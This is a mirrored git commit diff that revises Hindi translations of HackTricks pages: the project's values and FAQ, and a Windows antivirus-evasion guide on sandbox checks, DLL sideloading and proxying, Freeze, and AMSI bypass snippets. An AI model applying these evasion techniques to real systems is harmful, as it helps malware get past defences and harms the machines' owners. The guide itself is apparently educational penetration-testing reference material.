mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/welcome/hacktricks-values-and-faq.md', 'src/windows-har
This commit is contained in:
parent
bb15c24cec
commit
bb47e6afa6
@ -10,12 +10,12 @@
|
||||
> - **सभी** इंटरनेट को **शैक्षिक हैकिंग** संसाधनों का **मुफ्त** एक्सेस दें।
|
||||
> - हैकिंग सीखने के बारे में है, और सीखना जितना संभव हो उतना मुफ्त होना चाहिए।
|
||||
> - इस पुस्तक का उद्देश्य एक व्यापक **शैक्षिक संसाधन** के रूप में कार्य करना है।
|
||||
> - समुदाय द्वारा प्रकाशित शानदार **हैकिंग** तकनीकों को **स्टोर** करें और **मूल** **लेखकों** को सभी **श्रेय** दें।
|
||||
> - **हम दूसरों से श्रेय नहीं चाहते**, हम बस सभी के लिए शानदार ट्रिक्स स्टोर करना चाहते हैं।
|
||||
> - समुदाय द्वारा प्रकाशित अद्भुत **हैकिंग** तकनीकों को **स्टोर** करें और **मूल** **लेखकों** को सभी **श्रेय** दें।
|
||||
> - **हम दूसरों से श्रेय नहीं चाहते**, हम बस सभी के लिए कूल ट्रिक्स स्टोर करना चाहते हैं।
|
||||
> - हम HackTricks में **अपनी खुद की रिसर्च** भी लिखते हैं।
|
||||
> - कई मामलों में हम बस HackTricks में तकनीक के महत्वपूर्ण भागों का **संक्षेप** लिखेंगे और **पाठक को मूल पोस्ट पर जाने के लिए प्रोत्साहित करेंगे** अधिक विवरण के लिए।
|
||||
> - कई मामलों में हम बस HackTricks में तकनीक के महत्वपूर्ण भागों का **संक्षेप में लिखेंगे** और **पाठक को मूल पोस्ट पर जाने के लिए प्रोत्साहित करेंगे** अधिक विवरण के लिए।
|
||||
> - पुस्तक में सभी हैकिंग तकनीकों को **व्यवस्थित** करें ताकि यह **अधिक सुलभ** हो।
|
||||
> - HackTricks टीम ने लोगों को **तेजी से सीखने** के लिए सामग्री को **व्यवस्थित** करने में हजारों घंटे मुफ्त में समर्पित किए हैं।
|
||||
> - HackTricks टीम ने लोगों को **तेजी से सीखने** के लिए सामग्री को **व्यवस्थित करने** के लिए मुफ्त में हजारों घंटे समर्पित किए हैं।
|
||||
|
||||
<figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
@ -25,7 +25,7 @@
|
||||
>
|
||||
> - **इन संसाधनों के लिए बहुत धन्यवाद, मैं आपको कैसे धन्यवाद कह सकता हूँ?**
|
||||
|
||||
आप HackTricks टीम को इन सभी संसाधनों को सार्वजनिक रूप से एक ट्वीट में [**@hacktricks_live**](https://twitter.com/hacktricks_live) का उल्लेख करके धन्यवाद दे सकते हैं।\
|
||||
आप HackTricks टीमों को इन सभी संसाधनों को सार्वजनिक रूप से एक ट्वीट में [**@hacktricks_live**](https://twitter.com/hacktricks_live) का उल्लेख करके धन्यवाद दे सकते हैं।\
|
||||
यदि आप विशेष रूप से आभारी हैं तो आप [**यहां प्रोजेक्ट को स्पॉन्सर कर सकते हैं**](https://github.com/sponsors/carlospolop)।\
|
||||
और Github प्रोजेक्ट्स में **एक स्टार देना न भूलें!** (नीचे लिंक खोजें)।
|
||||
|
||||
@ -51,7 +51,7 @@ Github प्रोजेक्ट्स में **एक स्टार द
|
||||
> - **मैं HackTricks के एक पृष्ठ का उद्धरण कैसे दे सकता हूँ?**
|
||||
|
||||
जब तक उस पृष्ठ का **लिंक** जहाँ से आपने जानकारी ली है, दिखाई देता है, यह पर्याप्त है।\
|
||||
यदि आपको एक bibtex की आवश्यकता है, तो आप कुछ इस तरह का उपयोग कर सकते हैं:
|
||||
यदि आपको एक bibtex की आवश्यकता है, तो आप कुछ ऐसा उपयोग कर सकते हैं:
|
||||
```latex
|
||||
@misc{hacktricks-bibtexing,
|
||||
author = {"HackTricks Team" or the Authors name of the specific page/trick},
|
||||
@ -84,7 +84,7 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
|
||||
>
|
||||
> - **अगर कुछ HackTricks पृष्ठ मेरे ब्लॉग पोस्ट पर आधारित है लेकिन इसका संदर्भ नहीं दिया गया है तो मुझे क्या करना चाहिए?**
|
||||
|
||||
**हमें बहुत खेद है। ऐसा नहीं होना चाहिए था**। कृपया, हमें Github मुद्दों, Twitter, Discord... के माध्यम से HackTricks पृष्ठ का लिंक बताएं जिसमें सामग्री है और आपके ब्लॉग का लिंक और **हम इसे चेक करेंगे और ASAP जोड़ेंगे**।
|
||||
**हमें बहुत खेद है। ऐसा नहीं होना चाहिए था**। कृपया, हमें Github मुद्दों, Twitter, Discord... के माध्यम से HackTricks पृष्ठ का लिंक और आपके ब्लॉग का लिंक बताएं और **हम इसे चेक करेंगे और ASAP जोड़ेंगे**।
|
||||
|
||||
> [!CAUTION]
|
||||
>
|
||||
@ -94,7 +94,7 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
|
||||
|
||||
- आपके **SEO** में सुधार होता है
|
||||
- सामग्री **15 से अधिक भाषाओं में अनुवादित** होती है जिससे अधिक लोग इस सामग्री तक पहुँच सकते हैं
|
||||
- **HackTricks लोगों को** **आपके पृष्ठ** की **जांच करने** के लिए प्रोत्साहित करता है (कई लोगों ने हमें बताया है कि जब से उनका कुछ पृष्ठ HackTricks में है, उन्हें अधिक विज़िट मिलते हैं)
|
||||
- **HackTricks लोगों को** **आपके पृष्ठ की जांच करने के लिए प्रोत्साहित करता है** (कई लोगों ने हमें बताया है कि जब से उनका कुछ पृष्ठ HackTricks में है, उन्हें अधिक विज़िट मिलते हैं)
|
||||
|
||||
हालांकि, यदि आप अभी भी चाहते हैं कि आपके ब्लॉग की सामग्री HackTricks से हटा दी जाए, तो बस हमें बताएं और हम निश्चित रूप से **आपके ब्लॉग के हर लिंक को हटा देंगे**, और उस पर आधारित कोई भी सामग्री।
|
||||
|
||||
@ -102,7 +102,7 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
|
||||
>
|
||||
> - **अगर मैं HackTricks में कॉपी-पेस्ट की गई सामग्री पाता हूँ तो मुझे क्या करना चाहिए?**
|
||||
|
||||
हम हमेशा **मूल लेखकों को सभी श्रेय देते हैं**। यदि आप एक पृष्ठ पाते हैं जिसमें कॉपी-पेस्ट की गई सामग्री है बिना मूल स्रोत का संदर्भ दिए, तो हमें बताएं और हम या तो **इसे हटा देंगे**, **पाठ से पहले लिंक जोड़ेंगे**, या **इसे फिर से लिखेंगे लिंक जोड़ते हुए**।
|
||||
हम हमेशा **मूल लेखकों को सभी श्रेय देते हैं**। यदि आप एक पृष्ठ पाते हैं जिसमें कॉपी-पेस्ट की गई सामग्री है बिना मूल स्रोत का संदर्भ दिए, तो हमें बताएं और हम या तो **इसे हटा देंगे**, **पाठ से पहले लिंक जोड़ेंगे**, या **इसे फिर से लिखेंगे और लिंक जोड़ेंगे**।
|
||||
|
||||
## LICENSE
|
||||
|
||||
@ -132,12 +132,12 @@ Copyright © सभी अधिकार सुरक्षित हैं ज
|
||||
> [!CAUTION]
|
||||
> यह पुस्तक, 'HackTricks,' केवल शैक्षिक और सूचनात्मक उद्देश्यों के लिए है। इस पुस्तक में सामग्री 'जैसी है' के आधार पर प्रदान की गई है, और लेखक और प्रकाशक किसी भी प्रकार की, स्पष्ट या निहित, पूर्णता, सटीकता, विश्वसनीयता, उपयुक्तता, या इस पुस्तक में निहित जानकारी, उत्पादों, सेवाओं, या संबंधित ग्राफिक्स की उपलब्धता के बारे में कोई प्रतिनिधित्व या वारंटी नहीं देते हैं। इसलिए, आप जिस जानकारी पर भरोसा करते हैं, वह पूरी तरह से आपके अपने जोखिम पर है।
|
||||
>
|
||||
> लेखक और प्रकाशक किसी भी स्थिति में किसी भी हानि या क्षति के लिए उत्तरदायी नहीं होंगे, जिसमें बिना सीमा, अप्रत्यक्ष या परिणामी हानि या क्षति, या डेटा या लाभ के नुकसान से उत्पन्न होने वाली कोई भी हानि या क्षति शामिल है, जो इस पुस्तक के उपयोग से उत्पन्न होती है या इससे संबंधित होती है।
|
||||
> लेखक और प्रकाशक किसी भी स्थिति में किसी भी हानि या क्षति के लिए उत्तरदायी नहीं होंगे, जिसमें बिना सीमा, अप्रत्यक्ष या परिणामी हानि या क्षति, या डेटा या लाभ के नुकसान से उत्पन्न होने वाली किसी भी हानि या क्षति शामिल है, जो इस पुस्तक के उपयोग से उत्पन्न होती है या इससे संबंधित होती है।
|
||||
>
|
||||
> इसके अलावा, इस पुस्तक में वर्णित तकनीकें और सुझाव केवल शैक्षिक और सूचनात्मक उद्देश्यों के लिए प्रदान किए गए हैं, और इन्हें किसी भी अवैध या दुर्भावनापूर्ण गतिविधियों के लिए नहीं उपयोग किया जाना चाहिए। लेखक और प्रकाशक किसी भी अवैध या अनैतिक गतिविधियों का समर्थन या समर्थन नहीं करते हैं, और इस पुस्तक में निहित जानकारी का कोई भी उपयोग उपयोगकर्ता के अपने जोखिम और विवेक पर है।
|
||||
> इसके अलावा, इस पुस्तक में वर्णित तकनीकें और सुझाव केवल शैक्षिक और सूचनात्मक उद्देश्यों के लिए प्रदान किए गए हैं, और इन्हें किसी भी अवैध या दुर्भावनापूर्ण गतिविधियों के लिए उपयोग नहीं किया जाना चाहिए। लेखक और प्रकाशक किसी भी अवैध या अनैतिक गतिविधियों का समर्थन या समर्थन नहीं करते हैं, और इस पुस्तक में निहित जानकारी का कोई भी उपयोग उपयोगकर्ता के अपने जोखिम और विवेक पर है।
|
||||
>
|
||||
> उपयोगकर्ता इस पुस्तक में निहित जानकारी के आधार पर किए गए किसी भी कार्य के लिए पूरी तरह से जिम्मेदार है, और किसी भी तकनीक या सुझाव को लागू करने का प्रयास करते समय हमेशा पेशेवर सलाह और सहायता प्राप्त करनी चाहिए।
|
||||
>
|
||||
> इस पुस्तक का उपयोग करके, उपयोगकर्ता लेखक और प्रकाशक को इस पुस्तक के उपयोग या इसमें निहित किसी भी जानकारी के परिणामस्वरूप होने वाले किसी भी नुकसान, हानि, या क्षति से मुक्त करने के लिए सहमत होता है।
|
||||
> इस पुस्तक का उपयोग करके, उपयोगकर्ता लेखक और प्रकाशकों को इस पुस्तक के उपयोग या इसमें निहित किसी भी जानकारी के परिणामस्वरूप होने वाले किसी भी नुकसान, हानि, या क्षति से मुक्त करने के लिए सहमत होता है।
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -16,7 +16,7 @@
|
||||
|
||||
### **Static detection**
|
||||
|
||||
स्थिर पहचान ज्ञात दुर्भावनापूर्ण स्ट्रिंग्स या बाइट्स के एरे को एक बाइनरी या स्क्रिप्ट में फ्लैग करके प्राप्त की जाती है, और फ़ाइल से जानकारी निकालने के लिए (जैसे फ़ाइल विवरण, कंपनी का नाम, डिजिटल हस्ताक्षर, आइकन, चेकसम, आदि)। इसका मतलब है कि ज्ञात सार्वजनिक उपकरणों का उपयोग करने से आपको अधिक आसानी से पकड़ा जा सकता है, क्योंकि उन्हें शायद विश्लेषित किया गया है और दुर्भावनापूर्ण के रूप में फ्लैग किया गया है। इस प्रकार की पहचान को पार करने के कुछ तरीके हैं:
|
||||
स्थिर पहचान ज्ञात दुर्भावनापूर्ण स्ट्रिंग्स या बाइट्स के एरे को एक बाइनरी या स्क्रिप्ट में फ्लैग करके प्राप्त की जाती है, और फ़ाइल से जानकारी निकालने के लिए (जैसे फ़ाइल विवरण, कंपनी का नाम, डिजिटल हस्ताक्षर, आइकन, चेकसम, आदि)। इसका मतलब है कि ज्ञात सार्वजनिक उपकरणों का उपयोग करने से आपको अधिक आसानी से पकड़ा जा सकता है, क्योंकि उन्हें शायद विश्लेषित किया गया है और दुर्भावनापूर्ण के रूप में फ्लैग किया गया है। इस प्रकार की पहचान से बचने के कुछ तरीके हैं:
|
||||
|
||||
- **Encryption**
|
||||
|
||||
@ -24,7 +24,7 @@
|
||||
|
||||
- **Obfuscation**
|
||||
|
||||
कभी-कभी आपको बस अपने बाइनरी या स्क्रिप्ट में कुछ स्ट्रिंग्स को बदलने की आवश्यकता होती है ताकि यह AV को पार कर सके, लेकिन यह उस पर निर्भर करता है कि आप क्या ओबफस्केट करने की कोशिश कर रहे हैं, यह एक समय लेने वाला कार्य हो सकता है।
|
||||
कभी-कभी आपको बस अपने बाइनरी या स्क्रिप्ट में कुछ स्ट्रिंग्स को बदलने की आवश्यकता होती है ताकि यह AV से गुजर सके, लेकिन यह उस पर निर्भर करता है कि आप क्या ओबफस्केट करने की कोशिश कर रहे हैं, यह एक समय लेने वाला कार्य हो सकता है।
|
||||
|
||||
- **Custom tooling**
|
||||
|
||||
@ -37,7 +37,7 @@
|
||||
|
||||
### **Dynamic analysis**
|
||||
|
||||
गतिशील विश्लेषण तब होता है जब AV आपके बाइनरी को एक सैंडबॉक्स में चलाता है और दुर्भावनापूर्ण गतिविधियों की निगरानी करता है (जैसे आपके ब्राउज़र के पासवर्ड को डिक्रिप्ट और पढ़ने की कोशिश करना, LSASS पर मिनीडंप करना, आदि)। इस भाग के साथ काम करना थोड़ा कठिन हो सकता है, लेकिन यहाँ कुछ चीजें हैं जो आप सैंडबॉक्स को पार करने के लिए कर सकते हैं।
|
||||
गतिशील विश्लेषण तब होता है जब AV आपके बाइनरी को एक सैंडबॉक्स में चलाता है और दुर्भावनापूर्ण गतिविधियों की निगरानी करता है (जैसे आपके ब्राउज़र के पासवर्ड को डिक्रिप्ट और पढ़ने की कोशिश करना, LSASS पर मिनीडंप करना, आदि)। इस भाग के साथ काम करना थोड़ा कठिन हो सकता है, लेकिन यहाँ कुछ चीजें हैं जो आप सैंडबॉक्स से बचने के लिए कर सकते हैं।
|
||||
|
||||
- **Sleep before execution** इसे लागू करने के तरीके के आधार पर, यह AV के गतिशील विश्लेषण को बायपास करने का एक शानदार तरीका हो सकता है। AV के पास फ़ाइलों को स्कैन करने के लिए बहुत कम समय होता है ताकि उपयोगकर्ता के कार्यप्रवाह में बाधा न आए, इसलिए लंबे स्लीप का उपयोग बाइनरी के विश्लेषण को बाधित कर सकता है। समस्या यह है कि कई AV के सैंडबॉक्स स्लीप को छोड़ सकते हैं, यह इस बात पर निर्भर करता है कि इसे कैसे लागू किया गया है।
|
||||
- **Checking machine's resources** आमतौर पर सैंडबॉक्स के पास काम करने के लिए बहुत कम संसाधन होते हैं (जैसे < 2GB RAM), अन्यथा वे उपयोगकर्ता की मशीन को धीमा कर सकते हैं। आप यहाँ बहुत रचनात्मक भी हो सकते हैं, उदाहरण के लिए CPU के तापमान या यहां तक कि फैन स्पीड की जांच करके, सब कुछ सैंडबॉक्स में लागू नहीं होगा।
|
||||
@ -47,32 +47,32 @@
|
||||
|
||||
<figure><img src="../images/image (209).png" alt=""><figcaption><p>source: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
|
||||
|
||||
[@mgeeky](https://twitter.com/mariuszbit) से सैंडबॉक्स के खिलाफ जाने के लिए कुछ अन्य बहुत अच्छे सुझाव
|
||||
[@mgeeky](https://twitter.com/mariuszbit) से सैंडबॉक्स के खिलाफ जाने के लिए कुछ अन्य बहुत अच्छे टिप्स
|
||||
|
||||
<figure><img src="../images/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev चैनल</p></figcaption></figure>
|
||||
|
||||
जैसा कि हमने इस पोस्ट में पहले कहा है, **सार्वजनिक उपकरण** अंततः **पकड़े जाएंगे**, इसलिए, आपको अपने आप से कुछ पूछना चाहिए:
|
||||
जैसा कि हमने इस पोस्ट में पहले कहा, **सार्वजनिक उपकरण** अंततः **पकड़े जाएंगे**, इसलिए, आपको अपने आप से कुछ पूछना चाहिए:
|
||||
|
||||
उदाहरण के लिए, यदि आप LSASS को डंप करना चाहते हैं, **क्या आपको वास्तव में mimikatz का उपयोग करने की आवश्यकता है**? या क्या आप एक अलग प्रोजेक्ट का उपयोग कर सकते हैं जो कम ज्ञात है और LSASS को भी डंप करता है।
|
||||
|
||||
सही उत्तर शायद बाद वाला है। mimikatz को एक उदाहरण के रूप में लेते हुए, यह शायद AVs और EDRs द्वारा सबसे अधिक फ्लैग की गई मैलवेयर में से एक है, जबकि प्रोजेक्ट स्वयं सुपर कूल है, इसके साथ AVs को पार करने के लिए काम करना एक बुरा सपना है, इसलिए बस आप जो हासिल करने की कोशिश कर रहे हैं उसके लिए विकल्पों की तलाश करें।
|
||||
सही उत्तर शायद बाद वाला है। mimikatz को एक उदाहरण के रूप में लेते हुए, यह शायद AVs और EDRs द्वारा सबसे अधिक फ्लैग की गई मैलवेयर में से एक है, जबकि प्रोजेक्ट स्वयं सुपर कूल है, इसके साथ AVs के चारों ओर काम करना एक बुरा सपना है, इसलिए बस आप जो हासिल करने की कोशिश कर रहे हैं उसके लिए विकल्पों की तलाश करें।
|
||||
|
||||
> [!TIP]
|
||||
> जब आप अपने पेलोड को बचने के लिए संशोधित करते हैं, तो सुनिश्चित करें कि **डिफेंडर में स्वचालित नमूना सबमिशन बंद करें**, और कृपया, गंभीरता से, **VIRUSTOTAL पर अपलोड न करें** यदि आपका लक्ष्य लंबे समय में बचने को प्राप्त करना है। यदि आप यह जांचना चाहते हैं कि क्या आपका पेलोड किसी विशेष AV द्वारा पकड़ा जाता है, तो इसे एक VM पर स्थापित करें, स्वचालित नमूना सबमिशन बंद करने की कोशिश करें, और वहां परीक्षण करें जब तक कि आप परिणाम से संतुष्ट न हों।
|
||||
> जब आप अपने पैलोड्स को बचाने के लिए संशोधित करते हैं, तो सुनिश्चित करें कि **डिफेंडर में स्वचालित नमूना सबमिशन बंद करें**, और कृपया, गंभीरता से, **VIRUSTOTAL पर अपलोड न करें** यदि आपका लक्ष्य लंबे समय में बचाव प्राप्त करना है। यदि आप यह जांचना चाहते हैं कि क्या आपका पैलोड किसी विशेष AV द्वारा पकड़ा जाता है, तो इसे एक VM पर इंस्टॉल करें, स्वचालित नमूना सबमिशन बंद करने की कोशिश करें, और वहां परीक्षण करें जब तक कि आप परिणाम से संतुष्ट न हों।
|
||||
|
||||
## EXEs vs DLLs
|
||||
|
||||
जब भी संभव हो, हमेशा **बचाव के लिए DLLs का उपयोग करने को प्राथमिकता दें**, मेरे अनुभव में, DLL फ़ाइलें आमतौर पर **बहुत कम पहचानी जाती हैं** और विश्लेषित की जाती हैं, इसलिए कुछ मामलों में पहचान से बचने के लिए इसका उपयोग करना एक बहुत सरल चाल है (यदि आपके पेलोड में किसी तरह से DLL के रूप में चलने का तरीका है तो निश्चित रूप से)।
|
||||
जब भी संभव हो, हमेशा **बचाव के लिए DLLs का उपयोग करने को प्राथमिकता दें**, मेरे अनुभव में, DLL फ़ाइलें आमतौर पर **बहुत कम पहचानी जाती हैं** और विश्लेषित की जाती हैं, इसलिए कुछ मामलों में पहचान से बचने के लिए इसका उपयोग करना एक बहुत सरल ट्रिक है (यदि आपके पैलोड में किसी तरह से DLL के रूप में चलने का तरीका है तो निश्चित रूप से)।
|
||||
|
||||
जैसा कि हम इस छवि में देख सकते हैं, Havoc का एक DLL पेलोड antiscan.me पर 4/26 की पहचान दर है, जबकि EXE पेलोड की पहचान दर 7/26 है।
|
||||
जैसा कि हम इस छवि में देख सकते हैं, Havoc का एक DLL पैलोड antiscan.me पर 4/26 की पहचान दर है, जबकि EXE पैलोड की पहचान दर 7/26 है।
|
||||
|
||||
<figure><img src="../images/image (1130).png" alt=""><figcaption><p>antiscan.me पर सामान्य Havoc EXE पेलोड बनाम सामान्य Havoc DLL की तुलना</p></figcaption></figure>
|
||||
<figure><img src="../images/image (1130).png" alt=""><figcaption><p>antiscan.me पर सामान्य Havoc EXE पैलोड बनाम सामान्य Havoc DLL की तुलना</p></figcaption></figure>
|
||||
|
||||
अब हम कुछ चालें दिखाएंगे जिन्हें आप DLL फ़ाइलों के साथ उपयोग कर सकते हैं ताकि अधिक छिपे हुए रह सकें।
|
||||
अब हम कुछ ट्रिक्स दिखाएंगे जिन्हें आप DLL फ़ाइलों के साथ उपयोग कर सकते हैं ताकि अधिक छिपे हुए रह सकें।
|
||||
|
||||
## DLL Sideloading & Proxying
|
||||
|
||||
**DLL Sideloading** लोडर द्वारा उपयोग की जाने वाली DLL खोज क्रम का लाभ उठाता है, जिसमें पीड़ित एप्लिकेशन और दुर्भावनापूर्ण पेलोड को एक साथ रखा जाता है।
|
||||
**DLL Sideloading** लोडर द्वारा उपयोग की जाने वाली DLL खोज क्रम का लाभ उठाता है, जिसमें पीड़ित एप्लिकेशन और दुर्भावनापूर्ण पैलोड्स को एक साथ रखा जाता है।
|
||||
|
||||
आप [Siofra](https://github.com/Cybereason/siofra) और निम्नलिखित पॉवरशेल स्क्रिप्ट का उपयोग करके DLL Sideloading के प्रति संवेदनशील कार्यक्रमों की जांच कर सकते हैं:
|
||||
```bash
|
||||
@ -87,9 +87,9 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
|
||||
|
||||
बस एक दुर्भावनापूर्ण DLL को उस नाम के साथ रखने से जिसे एक प्रोग्राम लोड करने की उम्मीद करता है, आपका पेलोड लोड नहीं होगा, क्योंकि प्रोग्राम उस DLL के अंदर कुछ विशिष्ट कार्यों की अपेक्षा करता है, इस समस्या को ठीक करने के लिए, हम एक और तकनीक का उपयोग करेंगे जिसे **DLL प्रॉक्सींग/फॉरवर्डिंग** कहा जाता है।
|
||||
|
||||
**DLL प्रॉक्सींग** प्रोग्राम द्वारा प्रॉक्सी (और दुर्भावनापूर्ण) DLL से मूल DLL को किए गए कॉल को आगे बढ़ाता है, इस प्रकार प्रोग्राम की कार्यक्षमता को बनाए रखते हुए आपके पेलोड के निष्पादन को संभालने में सक्षम होता है।
|
||||
**DLL प्रॉक्सींग** प्रोग्राम द्वारा प्रॉक्सी (और दुर्भावनापूर्ण) DLL से मूल DLL को किए गए कॉल को अग्रेषित करता है, इस प्रकार प्रोग्राम की कार्यक्षमता को बनाए रखते हुए आपके पेलोड के निष्पादन को संभालने में सक्षम होता है।
|
||||
|
||||
मैं [@flangvik](https://twitter.com/Flangvik/) से [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) प्रोजेक्ट का उपयोग करने जा रहा हूँ।
|
||||
मैं [@flangvik](https://twitter.com/Flangvik/) के [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) प्रोजेक्ट का उपयोग करने जा रहा हूँ।
|
||||
|
||||
ये वे चरण हैं जिनका मैंने पालन किया:
|
||||
```
|
||||
@ -106,12 +106,12 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
|
||||
```
|
||||
<figure><img src="../images/dll_sideloading_demo.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
हमारा शेलकोड (जिसे [SGN](https://github.com/EgeBalci/sgn) के साथ एन्कोड किया गया है) और प्रॉक्सी DLL दोनों का [antiscan.me](https://antiscan.me) में 0/26 डिटेक्शन रेट है! मैं इसे एक सफलता कहूंगा।
|
||||
हमारा शेलकोड (जिसे [SGN](https://github.com/EgeBalci/sgn) के साथ एन्कोड किया गया है) और प्रॉक्सी DLL दोनों का [antiscan.me](https://antiscan.me) में 0/26 डिटेक्शन दर है! मैं इसे एक सफलता कहूंगा।
|
||||
|
||||
<figure><img src="../images/image (193).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> मैं **गंभीरता से सुझाव देता हूँ** कि आप [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) को DLL Sideloading के बारे में देखें और साथ ही [ippsec's video](https://www.youtube.com/watch?v=3eROsG_WNpE) को भी देखें ताकि आप जो हमने गहराई से चर्चा की है, उसके बारे में अधिक जान सकें।
|
||||
> मैं **गंभीरता से सुझाव देता हूँ** कि आप [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) को DLL Sideloading के बारे में देखें और साथ ही [ippsec का वीडियो](https://www.youtube.com/watch?v=3eROsG_WNpE) देखें ताकि आप जो हमने गहराई से चर्चा की है, उसके बारे में अधिक जान सकें।
|
||||
|
||||
## [**Freeze**](https://github.com/optiv/Freeze)
|
||||
|
||||
@ -127,7 +127,7 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
|
||||
<figure><img src="../images/freeze_demo_hacktricks.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> बचाव केवल एक बिल्ली और चूहा खेल है, जो आज काम करता है वह कल पता लगाया जा सकता है, इसलिए केवल एक उपकरण पर निर्भर न रहें, यदि संभव हो, तो कई बचाव तकनीकों को जोड़ने की कोशिश करें।
|
||||
> बचाव केवल एक बिल्ली और चूहा खेल है, जो आज काम करता है वह कल पता लगाया जा सकता है, इसलिए केवल एक उपकरण पर निर्भर न रहें, यदि संभव हो तो कई बचाव तकनीकों को जोड़ने की कोशिश करें।
|
||||
|
||||
## AMSI (एंटी-मैलवेयर स्कैन इंटरफेस)
|
||||
|
||||
@ -151,7 +151,7 @@ AMSI सुविधा Windows के इन घटकों में एक
|
||||
|
||||
हमने डिस्क पर कोई फ़ाइल नहीं गिराई, लेकिन फिर भी AMSI के कारण मेमोरी में पकड़े गए।
|
||||
|
||||
इसके अलावा, **.NET 4.8** से शुरू होकर, C# कोड भी AMSI के माध्यम से चलाया जाता है। यह `Assembly.Load(byte[])` को मेमोरी में निष्पादन लोड करने पर भी प्रभाव डालता है। इसलिए यदि आप AMSI से बचना चाहते हैं तो मेमोरी में निष्पादन के लिए .NET के निम्न संस्करणों (जैसे 4.7.2 या उससे नीचे) का उपयोग करने की सिफारिश की जाती है।
|
||||
इसके अलावा, **.NET 4.8** से शुरू होकर, C# कोड भी AMSI के माध्यम से चलाया जाता है। यह `Assembly.Load(byte[])` को मेमोरी में निष्पादन के लिए लोड करने को प्रभावित करता है। इसलिए यदि आप AMSI से बचना चाहते हैं तो मेमोरी में निष्पादन के लिए .NET के निम्न संस्करणों (जैसे 4.7.2 या उससे नीचे) का उपयोग करने की सिफारिश की जाती है।
|
||||
|
||||
AMSI को बायपास करने के कुछ तरीके हैं:
|
||||
|
||||
@ -159,7 +159,7 @@ AMSI को बायपास करने के कुछ तरीके ह
|
||||
|
||||
चूंकि AMSI मुख्य रूप से स्थिर पहचान के साथ काम करता है, इसलिए, आप जिन स्क्रिप्ट को लोड करने की कोशिश कर रहे हैं, उन्हें संशोधित करना पहचान से बचने का एक अच्छा तरीका हो सकता है।
|
||||
|
||||
हालांकि, AMSI के पास स्क्रिप्ट को अस्पष्ट करने की क्षमता है, भले ही इसमें कई परतें हों, इसलिए अस्पष्टता एक बुरा विकल्प हो सकता है, यह इस बात पर निर्भर करता है कि इसे कैसे किया गया है। यह इसे बचने के लिए इतना सीधा नहीं बनाता। हालांकि, कभी-कभी, आपको केवल कुछ चर के नाम बदलने की आवश्यकता होती है और आप ठीक हो जाएंगे, इसलिए यह इस बात पर निर्भर करता है कि कुछ कितना फ्लैग किया गया है।
|
||||
हालांकि, AMSI के पास स्क्रिप्ट को अस्पष्ट करने की क्षमता है, भले ही इसमें कई परतें हों, इसलिए अस्पष्टता एक बुरा विकल्प हो सकता है, यह इस बात पर निर्भर करता है कि इसे कैसे किया गया है। यह इसे बचने के लिए इतना सीधा नहीं बनाता। हालांकि, कभी-कभी, आपको केवल कुछ चर के नाम बदलने की आवश्यकता होती है और आप ठीक हो जाएंगे, इसलिए यह इस बात पर निर्भर करता है कि कुछ कितना झंडा लगाया गया है।
|
||||
|
||||
- **AMSI बायपास**
|
||||
|
||||
@ -196,19 +196,19 @@ $Spotfix.SetValue($null,$true)
|
||||
> [!TIP]
|
||||
> कृपया अधिक विस्तृत व्याख्या के लिए [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) पढ़ें।
|
||||
|
||||
AMSI को बायपास करने के लिए PowerShell का उपयोग करने के लिए कई अन्य तकनीकें भी हैं, [**इस पृष्ठ**](basic-powershell-for-pentesters/index.html#amsi-bypass) और [**इस रेपो**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) पर जाकर उनके बारे में अधिक जानें।
|
||||
AMSI को बायपास करने के लिए PowerShell का उपयोग करने के लिए कई अन्य तकनीकें भी हैं, [**इस पृष्ठ**](basic-powershell-for-pentesters/index.html#amsi-bypass) और [**इस रेपो**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) पर जाएं ताकि उनके बारे में अधिक जान सकें।
|
||||
|
||||
यह उपकरण [**https://github.com/Flangvik/AMSI.fail**](https://github.com/Flangvik/AMSI.fail) भी AMSI को बायपास करने के लिए स्क्रिप्ट उत्पन्न करता है।
|
||||
|
||||
**Detected signature को हटाएं**
|
||||
**Remove the detected signature**
|
||||
|
||||
आप **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** और **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)** जैसे उपकरणों का उपयोग करके वर्तमान प्रक्रिया की मेमोरी से AMSI सिग्नेचर को हटा सकते हैं। यह उपकरण वर्तमान प्रक्रिया की मेमोरी में AMSI सिग्नेचर को स्कैन करके और फिर इसे NOP निर्देशों के साथ ओवरराइट करके काम करता है, प्रभावी रूप से इसे मेमोरी से हटा देता है।
|
||||
